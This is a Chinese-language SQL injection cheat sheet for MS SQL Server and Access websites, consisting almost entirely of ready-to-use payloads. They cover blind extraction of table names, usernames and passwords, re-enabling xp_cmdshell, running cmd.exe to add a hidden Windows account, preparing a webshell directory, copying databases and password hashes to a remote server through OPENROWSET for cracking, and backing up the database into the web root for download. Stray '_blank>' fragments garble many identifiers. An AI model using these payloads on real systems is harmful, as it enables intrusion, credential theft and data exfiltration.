标准SQL注入语句

1.判断有无注入点

; and 1=1 and 1=2 

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0) 

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0) 

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1-- 

group by users.id, users.username, users.password, users.privs having 1=1--

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- 

UNION SELECT TOP 1 login_blank>_name FROM logintable- 

UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 

看_blank>服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）

and sa=(SELECT System_blank>_user)--

and user_blank>_name()=dbo--

and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\\\\inetpub\\\\wwwroot\\\\xplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帐号

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\\\\WINNT\\\\system32\\\\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘： 

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\\\\inetpub\\\\wwwroot\\\\mkwebdir.vbs -w "默认Web站点" -v "e","e：\\\\"--

访问属性：（配合写入一个webshell） 

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\\\\inetpub\\\\wwwroot\\\\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c=\\\\ 或者把/和\\\\ 修改%5提交 

and 0<>(select top 1 paths from newtable)-- 

得到库名（从1到5都是系统的id，6以上才可以判断）

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id 

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 

(id,...)) 来暴出其他的字段 

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路径

如果被限制则可以。 

select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造： 

SELECT * FROM news WHERE id=... AND topic=... AND ..... 

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 

select 123;-- 

;use master;-- 

:a or name like fff%;-- 显示有一个叫ffff的用户哈。 

and 1<>(select count(email) from [user]);-- 

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 

;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 

通过查看ffff的用户资料可得第一个用表叫ad 

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123, admin--, password, 0xffff)--

;and user>0 

;and (select count(*) from sysobjects)>0 

;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

这是将第一个表名更新到aaa的字段处。 

读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。 

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 

然后id=1552 and exists(select * from aaa where aaa>5) 

读出第二个表，一个个的读出，直到没有为止。 

读字段是这样： 

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 

然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] 

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] 

update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件] 

绕过IDS的检测[使用变量] 

1、 开启远程_blank>数据库 

基本语法 

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 

参数: (1) OLEDB Provider name 

2、 其中连接字符串参数可以是任何端口用来连接,比如 

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法： 

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) 

select * from master.dbo.sysdatabases 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects) 

select * from user_blank>_database.dbo.sysobjects 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns) 

select * from user_blank>_database.dbo.syscolumns 

复制_blank>数据库： 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 

复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下： 

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 

得到hash之后，就可以进行暴力破解。

遍历目录的方法： 先创建一个临时表：temp 

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 

;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\\\\;-- 获得子目录列表 

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\\\\;-- 获得所有子目录的目录树结构,并寸入temp表中 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\\\\web\\\\index.asp;-- 查看某个文件的内容 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\\\\;-- 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\\\\ *.asp /s/a;-- 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\\\\Inetpub\\\\AdminScripts\\\\adsutil.vbs enum w3svc 

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\\\\;-- （xp_blank>_dirtree适用权限PUBLIC） 

写入表： 

语句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 

语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));-- 

语句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 

语句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 

语句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 

语句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 

语句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 

语句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 

语句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 

把路径写到表中去： 

;create table dirs(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank>_dirtree c:\\\\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100), id int)-- 

;insert dirs exec master.dbo.xp_blank>_dirtree e:\\\\web-- 

and 0<>(select top 1 paths from dirs1)--

把_blank>数据库备份到网页目录：下载 

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\\\\web\\\\down.bak;-- 

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 

and 1=(select user_blank>_id from USER_blank>_LOGIN) 

and 0=(select user from USER_blank>_LOGIN where user>1)

xp_blank>_dirtree适用权限PUBLIC

exec master.dbo.xp_blank>_dirtree c:\\\\

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:\\\\

只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！
